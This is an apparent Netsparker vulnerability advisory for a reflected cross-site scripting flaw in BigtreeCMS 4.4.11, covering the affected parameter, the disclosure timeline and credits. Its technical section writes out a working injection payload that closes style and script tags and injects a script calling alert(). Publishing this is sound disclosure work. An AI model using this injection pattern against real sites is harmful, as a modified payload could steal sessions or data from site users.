Information
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Advisory by Netsparker
Name: Cross-Site Scripting Vulnerability in BigtreeCMS
Affected Software: BigtreeCMS
Affected Versions: 4.4.11
Vendor Homepage: https://www.bigtreecms.org/
Vulnerability Type: Cross-Site Scripting
Severity: Important
Status: Fixed
CVE-ID: CVE-2020-995566
CVSS Score (3.0): 7.4 (High)
Netsparker Advisory Reference: NS-20-004

Technical Details
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URL: http://mylocalhost/site/index.php/admin/js/embeddable-form.js?hash=&id='"--></style></scRipt><scRipt>alert(0x00E4E5)</scRipt>
Parameter Name: id
Parameter Type: GET  
Attack Pattern:    '"--></style></scRipt><scRipt>alert(2)</scRipt  

Note: This vulnerability is reproducible at Internet Explorer due to mime type sniffing.

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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 21st November 2020 - First Contact
 2nd December 2020 - Vendor Fixed
 10th December 2020 - Advisory Released

Credits & Authors
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These issues have been discovered by Mustafa Yalçın while testing the Netsparker Web Application Security Scanner.

About Netsparker
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Netsparker web application security scanner finds and reports security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be highly accurate in reporting vulnerabilities.